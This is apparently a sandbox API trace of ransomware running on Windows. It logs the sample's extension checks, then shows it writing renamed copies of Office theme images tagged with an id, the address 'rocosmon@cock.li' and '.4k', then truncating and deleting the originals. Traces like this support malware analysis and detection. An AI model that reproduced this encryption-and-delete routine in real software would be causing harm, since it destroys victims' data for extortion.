	[0105.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0105.371] lstrlenW (lpString=".doc") returned 4
	[0105.371] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.371] lstrlenW (lpString=".docx") returned 5
	[0105.371] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.371] lstrlenW (lpString=".pdf") returned 4
	[0105.371] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.371] lstrlenW (lpString=".xls") returned 4
	[0105.371] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.371] lstrlenW (lpString=".xlsx") returned 5
	[0105.371] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.371] lstrlenW (lpString=".ppt") returned 4
	[0105.371] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0105.371] lstrlenW (lpString=".zip") returned 4
	[0105.372] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.372] lstrlenW (lpString=".rar") returned 4
	[0105.372] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.372] lstrlenW (lpString=".bz2") returned 4
	[0105.372] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.372] lstrlenW (lpString=".7z") returned 3
	[0105.372] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0105.372] lstrlenW (lpString=".dbf") returned 4
	[0105.372] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0105.372] lstrlenW (lpString=".1cd") returned 4
	[0105.372] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0105.372] lstrlenW (lpString=".jpg") returned 4
	[0105.372] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0105.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0105.372] lstrlenW (lpString=".doc") returned 4
	[0105.372] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.372] lstrlenW (lpString=".docx") returned 5
	[0105.372] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.372] lstrlenW (lpString=".pdf") returned 4
	[0105.372] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.372] lstrlenW (lpString=".xls") returned 4
	[0105.372] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.372] lstrlenW (lpString=".xlsx") returned 5
	[0105.372] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.372] lstrlenW (lpString=".ppt") returned 4
	[0105.372] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0105.372] lstrlenW (lpString=".zip") returned 4
	[0105.372] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.372] lstrlenW (lpString=".rar") returned 4
	[0105.372] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.372] lstrlenW (lpString=".bz2") returned 4
	[0105.372] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.373] lstrlenW (lpString=".7z") returned 3
	[0105.373] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0105.373] lstrlenW (lpString=".dbf") returned 4
	[0105.373] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0105.373] lstrlenW (lpString=".1cd") returned 4
	[0105.373] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72
	[0105.373] lstrlenW (lpString=".jpg") returned 4
	[0105.373] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.373] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0105.373] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0105.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.373] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=19485) returned 1
	[0105.373] CloseHandle (hObject=0x1e4) returned 1
	[0105.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20
	[0105.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.374] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.374] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0105.374] GetLastError () returned 0x0
	[0105.374] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x4c1d, lpOverlapped=0x0) returned 1
	[0105.376] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x4c20, lpOverlapped=0x0) returned 1
	[0105.377] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.377] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0105.377] SetEndOfFile (hFile=0x1d8) returned 1
	[0105.378] CloseHandle (hObject=0x1d8) returned 1
	[0105.378] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.378] SetEndOfFile (hFile=0x1e4) returned 1
	[0105.379] CloseHandle (hObject=0x1e4) returned 1
	[0105.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.379] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1
	[0105.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0105.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0105.379] lstrlenW (lpString=".doc") returned 4
	[0105.379] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.380] lstrlenW (lpString=".docx") returned 5
	[0105.380] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.380] lstrlenW (lpString=".pdf") returned 4
	[0105.380] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.380] lstrlenW (lpString=".xls") returned 4
	[0105.380] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.380] lstrlenW (lpString=".xlsx") returned 5
	[0105.380] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.380] lstrlenW (lpString=".ppt") returned 4
	[0105.380] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0105.380] lstrlenW (lpString=".zip") returned 4
	[0105.380] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.380] lstrlenW (lpString=".rar") returned 4
	[0105.380] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.380] lstrlenW (lpString=".bz2") returned 4
	[0105.380] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.380] lstrlenW (lpString=".7z") returned 3
	[0105.380] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0105.380] lstrlenW (lpString=".dbf") returned 4
	[0105.380] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0105.380] lstrlenW (lpString=".1cd") returned 4
	[0105.380] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0105.380] lstrlenW (lpString=".jpg") returned 4
	[0105.380] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0105.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0105.380] lstrlenW (lpString=".doc") returned 4
	[0105.380] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.380] lstrlenW (lpString=".docx") returned 5
	[0105.380] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.380] lstrlenW (lpString=".pdf") returned 4
	[0105.380] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.381] lstrlenW (lpString=".xls") returned 4
	[0105.381] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.381] lstrlenW (lpString=".xlsx") returned 5
	[0105.381] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.381] lstrlenW (lpString=".ppt") returned 4
	[0105.381] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0105.381] lstrlenW (lpString=".zip") returned 4
	[0105.381] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.381] lstrlenW (lpString=".rar") returned 4
	[0105.381] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.381] lstrlenW (lpString=".bz2") returned 4
	[0105.381] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.381] lstrlenW (lpString=".7z") returned 3
	[0105.381] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0105.381] lstrlenW (lpString=".dbf") returned 4
	[0105.381] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0105.381] lstrlenW (lpString=".1cd") returned 4
	[0105.381] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73
	[0105.381] lstrlenW (lpString=".jpg") returned 4
	[0105.381] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.381] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0105.381] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0105.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.382] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=1232) returned 1
	[0105.382] CloseHandle (hObject=0x1e4) returned 1
	[0105.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20
	[0105.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.382] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.382] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0105.384] GetLastError () returned 0x0
	[0105.384] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x4d0, lpOverlapped=0x0) returned 1
	[0105.423] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x4e0, lpOverlapped=0x0) returned 1
	[0105.424] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.424] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0105.424] SetEndOfFile (hFile=0x1d8) returned 1
	[0105.424] CloseHandle (hObject=0x1d8) returned 1
	[0105.424] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.424] SetEndOfFile (hFile=0x1e4) returned 1
	[0105.425] CloseHandle (hObject=0x1e4) returned 1
	[0105.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.425] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 1
	[0105.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0105.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0105.426] lstrlenW (lpString=".doc") returned 4
	[0105.426] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.426] lstrlenW (lpString=".docx") returned 5
	[0105.426] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.426] lstrlenW (lpString=".pdf") returned 4
	[0105.426] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.426] lstrlenW (lpString=".xls") returned 4
	[0105.426] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.426] lstrlenW (lpString=".xlsx") returned 5
	[0105.426] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.426] lstrlenW (lpString=".ppt") returned 4
	[0105.426] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0105.426] lstrlenW (lpString=".zip") returned 4
	[0105.426] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.426] lstrlenW (lpString=".rar") returned 4
	[0105.426] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.426] lstrlenW (lpString=".bz2") returned 4
	[0105.426] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.426] lstrlenW (lpString=".7z") returned 3
	[0105.426] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0105.426] lstrlenW (lpString=".dbf") returned 4
	[0105.426] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0105.426] lstrlenW (lpString=".1cd") returned 4
	[0105.426] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0105.427] lstrlenW (lpString=".jpg") returned 4
	[0105.427] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0105.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0105.427] lstrlenW (lpString=".doc") returned 4
	[0105.427] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.427] lstrlenW (lpString=".docx") returned 5
	[0105.427] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.427] lstrlenW (lpString=".pdf") returned 4
	[0105.427] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.427] lstrlenW (lpString=".xls") returned 4
	[0105.427] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.427] lstrlenW (lpString=".xlsx") returned 5
	[0105.427] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.427] lstrlenW (lpString=".ppt") returned 4
	[0105.427] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0105.427] lstrlenW (lpString=".zip") returned 4
	[0105.427] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.427] lstrlenW (lpString=".rar") returned 4
	[0105.427] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.427] lstrlenW (lpString=".bz2") returned 4
	[0105.427] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.427] lstrlenW (lpString=".7z") returned 3
	[0105.427] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0105.427] lstrlenW (lpString=".dbf") returned 4
	[0105.427] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0105.427] lstrlenW (lpString=".1cd") returned 4
	[0105.427] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75
	[0105.428] lstrlenW (lpString=".jpg") returned 4
	[0105.428] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.428] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0105.428] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0105.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.428] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=1659) returned 1
	[0105.428] CloseHandle (hObject=0x1e4) returned 1
	[0105.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20
	[0105.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0105.428] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.429] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0105.430] GetLastError () returned 0x0
	[0105.430] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x67b, lpOverlapped=0x0) returned 1
	[0105.482] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x680, lpOverlapped=0x0) returned 1
	[0105.483] ReadFile (in: hFile=0x1e4, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.484] WriteFile (in: hFile=0x1d8, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0105.484] SetEndOfFile (hFile=0x1d8) returned 1
	[0105.484] CloseHandle (hObject=0x1d8) returned 1
	[0105.484] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.484] SetEndOfFile (hFile=0x1e4) returned 1
	[0105.485] CloseHandle (hObject=0x1e4) returned 1
